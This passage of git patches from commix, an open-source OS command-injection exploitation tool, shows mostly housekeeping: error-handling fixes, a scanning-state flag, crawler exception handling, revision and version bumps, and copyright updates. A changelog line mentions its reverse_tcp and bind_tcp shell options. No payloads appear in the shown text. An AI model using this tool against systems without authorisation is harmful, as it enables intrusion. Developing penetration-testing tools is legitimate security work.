settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + try: + header_name = settings.HOST + settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return host """ The Custom http header based injection. """ def specify_custom_header_parameter(header_name): - header_name = settings.CUSTOM_HEADER_NAME - if settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] - + try: + header_name = settings.CUSTOM_HEADER_NAME + if settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return header_name # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 7b7a6476fa..1325c0fbb2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "117" +REVISION = "118" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6c465179bfce8ebbbba2fcdaea4ce6dd0d90a68d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 30 Nov 2024 16:35:58 +0200 Subject: [PATCH 518/560] Minor update --- src/core/injections/controller/checks.py | 5 ++++- src/core/injections/controller/controller.py | 1 + src/utils/settings.py | 5 ++++- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 26014e9f2c..0113351029 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -881,7 +881,7 @@ def continue_tests(err): # Ignoring (problematic) HTTP error codes. if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - + # Possible WAF/IPS try: if (str(err.code) == settings.FORBIDDEN_ERROR or \ @@ -895,6 +895,9 @@ def continue_tests(err): message = "" if str(err.code) == settings.NOT_FOUND_ERROR: message = "It is not recommended to continue in this kind of cases. " + + if settings.START_SCANNING and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: message += "Do you want to ignore the response HTTP error code '" + str(err.code) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e8ad20afbb..2373cdf90d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -397,6 +397,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if checks.procced_with_file_based_technique(): menu.options.tech = "f" + settings.START_SCANNING = True classic_command_injection_technique(url, timesec, filename, http_request_method) dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1325c0fbb2..0a5945c1d3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "118" +REVISION = "119" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -576,6 +576,9 @@ class OS(object): USER_APPLIED_LEVEL = False PERFORM_BASIC_SCANS = True +# Start scanning state +START_SCANNING = None + # Default Temp Directory TMP_PATH = "" From d4c743f27d71403c2c36a2debb47071712d75e64 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Dec 2024 08:57:14 +0200 Subject: [PATCH 519/560] Minor update --- src/core/requests/requests.py | 8 ++------ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 7 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 92e148c2cf..0b616e0a8e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -376,17 +376,13 @@ def request_failed(err_msg): return False elif settings.IGNORE_ERR_MSG == False: - # if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: + if continue_tests: settings.IGNORE_ERR_MSG = True - return True else: if not settings.CRAWLING: raise SystemExit() - else: - return False + return False else: if settings.VERBOSITY_LEVEL >= 1: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a5945c1d3..e78caaafb4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "119" +REVISION = "120" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b2ee14aa699cb8c394a9b0310264a38a73d605d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 7 Dec 2024 09:55:13 +0200 Subject: [PATCH 520/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8749c7fc96..f39c6928c6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor bug-fix regarding tamper script "backticks.py" * Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. * Revised: Major code refactoring regarding session handler. From bade4b33c004071ffd5f7b024f1fe93c81e8bfb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 Dec 2024 17:48:34 +0200 Subject: [PATCH 521/560] Potential fix https://github.com/commixproject/commix/issues/988 --- src/utils/crawler.py | 44 ++++++++++++++++++++++--------------------- src/utils/settings.py | 2 +- 2 files changed, 24 insertions(+), 22 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 01ffeb9465..902c5a1ad1 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -102,27 +102,29 @@ def normalize_results(output_href): Store crawling results to a temporary file. """ def store_crawling(output_href): - while True: - message = "Do you want to store crawling results to a temporary file " - message += "(for eventual further processing with other tools)? [y/N] > " - message = common.read_input(message, default="N", check_batch=True) - if message in settings.CHOICE_YES: - filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] - info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - with open(filename, "a") as crawling_results: - for url in output_href: - crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") - return - elif message in settings.CHOICE_NO: - return - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(message) - pass - - + try: + while True: + message = "Do you want to store crawling results to a temporary file " + message += "(for eventual further processing with other tools)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES: + filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] + info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + with open(filename, "a") as crawling_results: + for url in output_href: + crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") + return + elif message in settings.CHOICE_NO: + return + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(message) + pass + except: + pass + """ Check for URLs in sitemap.xml. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index e78caaafb4..47029b6d19 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "120" +REVISION = "121" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 13d51481cb3998fbf9247743217bcc6c5fd2da86 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 20 Dec 2024 08:15:45 +0200 Subject: [PATCH 522/560] Updated to v4.0 --- doc/CHANGELOG.md | 4 +++- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f39c6928c6..e9020a81f0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 4.0 (TBA) +## Version 4.0 (2024-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor bug-fix regarding tamper script "backticks.py" * Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. @@ -24,6 +24,8 @@ * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.9...v4.0)._ + ## Version 3.9 (2024-01-19) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. diff --git a/setup.py b/setup.py index 8050b15f93..c7b142998c 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='4.0-dev', + version='4.0-stable', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 47029b6d19..8e1df78f4c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -263,7 +263,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" REVISION = "121" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 4231c6222b3d6f807506c1ac7ca019a4062fc820 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Jan 2025 08:19:23 +0200 Subject: [PATCH 523/560] Update copyright year --- LICENSE.txt | 2 +- commix.py | 2 +- setup.py | 4 ++-- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- .../injections/blind/techniques/time_based/__init__.py | 2 +- .../blind/techniques/time_based/tb_handler.py | 2 +- .../blind/techniques/time_based/tb_injector.py | 2 +- .../blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/enumeration.py | 2 +- src/core/injections/controller/file_access.py | 2 +- src/core/injections/controller/handler.py | 2 +- src/core/injections/controller/injector.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- .../injections/results_based/techniques/__init__.py | 2 +- .../results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/rev.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 10 +++++----- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 96 files changed, 101 insertions(+), 101 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 44793fc81b..1101c69074 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2024 Anastasios Stasinopoulos +Copyright (c) 2014-2025 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index d7e607bbbe..f6596e9a98 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/setup.py b/setup.py index c7b142998c..db850d1775 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -17,7 +17,7 @@ setup( name='commix', - version='4.0-stable', + version='4.1-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/__init__.py b/src/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index c0b8a53bc5..536f70d678 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index 321bbe14d5..e4adf76cec 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 68f7900aaf..46c6429d8d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 5d5b83bf4d..2babbe79aa 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 6856079054..140aa9111b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0113351029..2a8ddf9d21 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2373cdf90d..801b885cc3 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index 7771eb9c4d..0f1fec9f0a 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index 4ace143fac..64e64f57f6 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 68d23ce25c..e199fa3a74 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index f9c038f027..f0560665e4 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 07a85d3409..f16d022116 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 4689ad7ba0..d99990a901 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 875464f91d..403342f8ca 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 11a2f297e4..5f8c774cff 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index d6b5af7010..0b8fbba36c 100755 --- 